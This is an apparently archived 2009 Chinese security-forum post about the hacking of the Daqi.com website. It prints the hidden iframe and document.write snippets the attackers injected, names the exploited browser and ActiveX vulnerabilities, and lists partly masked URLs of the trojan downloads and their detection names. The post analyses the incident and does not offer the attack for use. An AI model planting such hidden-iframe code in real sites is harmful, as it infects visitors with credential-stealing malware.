【3.A.S.T】网络安全爱好者 » 黑客播报 » 大旗网挂马事件

可乐猫 发表于 2009-2-16 17:26

大旗网挂马事件

[font=宋体]2月15日，大旗网 (http://www.daqi.com/)被黑客植入病毒，用户如果访问该网站，系统就会自动从恶意网站上下载并运行恶意程序。被感染病毒的用户系统可能被远程控制，盗取用户敏感信息。甚至导致死机。[/font]
[font=宋体][/font][font=宋体]该网站问题代码：[/font]
[font=宋体][img]http://210.74.145.228/attachment/125_96365_1bfe68b191a9b26.jpg[/img][/font]
[font=宋体][font=宋体]<iframe src=http://union.daqi.com/digg/win_l****.html width=0 height=0></iframe> [font=tahoma][/font][/font][/font]
[font=宋体][font=宋体]http://union.daqi.com/digg/win_l***.html 问题框架代码：[/font][/font]
[font=宋体][font=宋体][img]http://210.74.145.228/attachment/125_96365_11807acbf31ff39.jpg[/img][/font][/font]
[font=宋体][font=宋体]<iframe src=http://go.chac****.cn/w50/w50.htm width=100 height=0></iframe>[/font][/font]
[font=宋体][font=宋体]http://go.chac****.cn/w50/w50.htm问题框架代码：[/font][/font]
[font=宋体][img]http://210.74.145.228/attachment/125_96365_8ef727a868ff951.jpg[/img][/font]
[font=宋体]document.write("<iframe width=100 height=0 src=new.html><\/iframe>"); [font=tahoma][/font][/font]
[font=宋体]http://go.chac****.cn/w50/new.html网马代码：[/font]
[font=宋体][img]http://210.74.145.228/attachment/125_96365_c9ba9d92b19d235.jpg[/img][/font]
[font=宋体][color=black]该加密网马解密后可知[/color][font=arial][color=black]利用以下漏洞来传播[/color][/font][color=black]：
[/color][/font]
[font=宋体][font=arial][color=black]MS06014[/color][/font][font=arial][color=black]漏洞 [/color][/font][color=black]([/color][font=arial][color=black]clsid:BD96C556-65A3-11D0-983A-00C04FC29E36[/color][/font][color=black])[/color][font=arial]
[/font][/font]
[color=black][font=宋体]暴风影音播放器MPS.StormPlayer漏洞
[/font][/color]
[font=宋体][color=black]RealPlayer[/color][color=black]播放器IERPCtl.IERPCtl.1漏洞
[/color][/font]
[color=black][font=宋体]联众世界游戏大厅所安装的GLCHAT.GLChatCtrl.1 ActiveX控件漏洞
[/font][/color]
[font=宋体][color=black]Real Networks RealPlayer[/color][color=black]包含的'rmoc3260.dll' ActiveX控件存在内存破坏漏洞
[/color][/font]
[font=宋体][color=black]Adobe Flash Player SWF[/color][color=black]文件漏洞
[/color][/font]
[align=left][font=宋体]微软IE7漏洞
[/font][/align][color=black][font=宋体]Microsoft Office Snapshot Viewer ActiveX Exploit
[/font][/color]
[color=black][font=宋体][/font]
[/color]
[font=宋体][color=black]当用户访问[/color]http://www.daqi.com/[color=black]时，系统会自动下载以下病毒文件：
[/color][/font]
[font=宋体][color=black]http://go.chaji****.cn/jpg/cw01.exe         [/color][color=black]病毒名：(Trojan.Win32.Inject.nry)
[/color][/font]
[font=宋体][color=black]http://go.chaji****.cn/jpg/cw02.exe         [/color][color=black]病毒名：(Worm.Win32.Downloader.aaz)
[/color][/font]
[font=宋体][color=black]http://go.chaji****.cn/jpg/cw03.exe         [/color][color=black]病毒名：(Worm.Win32.Downloader.zd)
[/color][/font]
[font=宋体][color=black]http://go.chaji****.cn/jpg/cw04.exe         [/color][color=black]病毒名：(Trojan.Win32.Agent.bnxc)
[/color][/font]
[font=宋体][color=black]http://go.chaji****.cn/jpg/cw05.exe         [/color][color=black]病毒名：(Worm.Win32.Downloader.aay)
[/color][/font]
[font=宋体][color=black]http://go.chaji****.cn/jpg/cw06.exe         [/color][color=black]病毒名：(Trojan-GameThief.Win32.WOW.fgw)
[/color][/font]
[font=宋体][color=black]http://go.chaji****.cn/jpg/cw07.exe         [/color][color=black]病毒名：(Trojan-GameThief.Win32.Magania.gen)
[/color][/font]
[font=宋体][color=black]http://go.chaji****.cn/jpg/cw08.exe         [/color][color=black]病毒名：(Trojan.Win32.Agent.bpnf)
[/color][/font]
[font=宋体][color=black]http://go.chaji****.cn/jpg/cw09.exe         [/color][color=black]病毒名：(Worm.Win32.Downloader.aaz)
[/color][/font]
[font=宋体][color=black]http://go.chaji****.cn/jpg/cw10.exe         [/color][color=black]病毒名：(Trojan.Win32.Agent.bnxc)
[/color][/font]
[font=宋体][color=black]http://go.chaji****.cn/jpg/cw11.exe         [/color][color=black]病毒名：(Worm.Win32.Downloader.za)
[/color][/font]
[font=宋体][color=black]http://go.chaji****.cn/jpg/cw12.exe         [/color][color=black]病毒名：(Worm.Win32.Downloader.aay)
[/color][/font]
[font=宋体][color=black]http://go.chaji****.cn/jpg/cw13.exe         [/color][color=black]病毒名：(Worm.Win32.Downloader.aay)
[/color][/font]
[font=宋体][color=black]http://go.chaji****.cn/jpg/cw14.exe         [/color][color=black]病毒名：(Trojan-Dropper.Win32.Agent.ahcr)
[/color][/font]
[font=宋体][color=black]http://go.chaji****.cn/jpg/cw15.exe         [/color][color=black]病毒名：(Trojan-Dropper.Win32.Agent.ahcr)
[/color][/font]
[font=宋体][color=black]http://go.chaji****.cn/jpg/cw16.exe         [/color][color=black]病毒名：(Worm.Win32.Downloader.aay)
[/color][/font]
[font=宋体][color=black]http://go.chaji****.cn/jpg/cw17.exe         [/color][color=black]病毒名：(Worm.Win32.Downloader.aay)
[/color][/font]
[font=宋体][color=black]http://go.chaji****.cn/jpg/cw18.exe         [/color][color=black]病毒名：(Trojan.Win32.Agent.bpwp)
[/color][/font]
[font=宋体][color=black]http://go.chaji****.cn/jpg/cw19.exe         [/color][color=black]病毒名：(Trojan.Win32.Agent.bpwp)
[/color][/font]
[font=宋体][color=black]http://go.chaji****.cn/jpg/cw20.exe         [/color][color=black]病毒名：(Trojan-GameThief.Win32.OnLineGames.bkue)
[/color][/font]
[font=宋体][color=black]http://go.chaji****.cn/jpg/cw21.exe         [/color][color=black]病毒名：(Trojan.Win32.Agent.bpnf)
[/color][/font]
[font=宋体][color=black]http://go.chaji****.cn/jpg/cw22.exe         [/color][color=black]病毒名：(Worm.Win32.Downloader.aat)
[/color][/font]
[font=宋体][color=black]http://go.chaji****.cn/jpg/cw23.exe         [/color][color=black]病毒名：(Worm.Win32.Downloader.aay)
[/color][/font]
[font=宋体][color=black]http://go.chaji****.cn/jpg/cw24.exe         [/color][color=black]病毒名：(Worm.Win32.Downloader.aay)
[/color][/font]
[font=宋体][color=black]http://go.chaji****.cn/jpg/cw25.exe         [/color][color=black]病毒名：(Trojan-GameThief.Win32.Magania.gen)
[/color][/font]
[font=宋体][color=black]http://go.chaji****.cn/jpg/cw26.exe         [/color][color=black]病毒名：(Trojan-PSW.Win32.QQPass.fyj)
[/color][/font]
[font=宋体][color=black]http://go.chaji****.cn/jpg/cw27.exe         [/color][color=black]病毒名：(Trojan-GameThief.Win32.OnLineGames.bkpp)
[/color][/font]
[font=宋体][color=black]http://go.chaji****.cn/jpg/cw28.exe         [/color][color=black]病毒名：(Trojan.Win32.Agent.bnxc)
[/color][/font]
[font=宋体][color=black]http://go.chaji****.cn/jpg/host.exe         [/color][color=black]病毒名：(Trojan.Win32.Agent.bnxc)
[/color][/font]
[font=宋体][color=black]以上病毒文件为下载者木马和游戏盗号木马，自动运行后将会，盗取用户敏感信息，甚至导致死机。由于下载数量太多，这里不一一分析。[/color][/font][font=宋体][/font]

柔肠寸断 发表于 2009-2-17 15:05

AD

查看完整版本: 大旗网挂马事件